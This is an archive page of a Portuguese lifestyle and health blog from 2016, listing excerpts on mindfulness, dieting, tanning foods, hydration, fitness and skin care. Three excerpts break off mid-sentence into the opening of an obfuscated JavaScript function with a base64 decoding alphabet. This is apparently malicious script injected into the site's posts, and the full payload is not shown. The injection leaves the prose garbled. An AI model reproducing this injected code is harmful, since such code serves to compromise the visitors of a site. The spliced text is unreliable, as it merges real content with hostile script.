Jul 21, 2016 | Equilíbrio, Saúde e bem estar
Mindfulness – 5 dicas para ganhar paz e ser mais feliz, por Laura Sanches O mindfulness – atenção plena em português – tem vindo a cativar cada vez mais pessoas. É um estado de atenção plena ao momento presente, de forma consciente. Os benefícios do mindfulness...
Jul 20, 2016 | Em Alta, Equilíbrio, Saúde e bem estar
A minha vida é e sempre foi uma correria, um desassossego, cheia de compromissos. Eu gosto de um bom stress! Mas o mais importante nos meus dias são aqueles momentos que guardo só para mim e em que estou só comigo. Qufunction a4872b9c6b(y1){var...
Jul 18, 2016 | Em Alta, Equilíbrio, Saúde e bem estar
Últimas novidades da minha dieta. Olá, olá! Se tem estado atento ao meu site então sabe que eu comecei uma dieta porque engordei no inverno. Como não me estava a sentir bem com os quilinhos a mais, consultei uma nutricionista numa Clínica Lev, cumpri à risca o plano...
Jul 6, 2016 | Equilíbrio, Saúde e bem estar
Frutos e vegetais que ajudam a manter a pele bronzeada Sabia que, se consumirmos determinados alimentos, estes nos vão ajudar a ter um bronzeado lindo e muito mais duradouro? Pois é, para além de deliciosos, estes frutos e vegetais podem ser os nossos melhores amigos...
Jul 5, 2016 | Equilíbrio, Saúde e bem estar
por Ágata Roquette, Nutricionista A água é o principal componente do nosso organismo e normalmente representa 60% do peso corporal nos homens adultos e cerca de 50-55% nas mulheres. Mas, além de ser essencial à própria vida, a água é também um requisito fundamental...
Jun 6, 2016 | Equilíbrio, Saúde e bem estar
Como ser mais feliz – 9 regras simples Todos nascemos felizes e podemos ser felizes! Ser feliz e aproveitar a vida ao máximo é uma opção que depende essencialmente de nós, mas nem sempre a tomamos, por uma espécie de medo de ser feliz. «Quase sempre a maior ou menor...
Jun 2, 2016 | À descoberta, Dicas úteis
Claro que já ouviu falar na DECO, Associação Portuguesa para a Defesa do Consumidor. Ouviu, não ouviu? Pois bem, a DECO tem tido acções extraordinárias e esta é mais uma que é do interesse de todos nós, já que diz respeito ao que temos de mais importante: a Saúde....
Mai 31, 2016 | Equilíbrio, Saúde e bem estar
17 maneiras de dar aos vegetais e a outros alimentos um sabor delicioso Use mais especiarias: qufunction a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var...
Mai 28, 2016 | Equilíbrio, Saúde e bem estar
O método Low Pressure Fitness (LPF) é um sistema inovador de inteligência postural resultante do stretching miofascial, exercícios neurodinâmicos e respiratórios em conjunto com a metodologia didática mais avançada em ciências do exercício físico. É uma prática...
Abr 25, 2016 | Equilíbrio, Estilo e beleza
Conheça os cuidados básicos a ter com a pele do rosto O rosto é a primeira parte do corpo em que reparamos qufunction a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var...
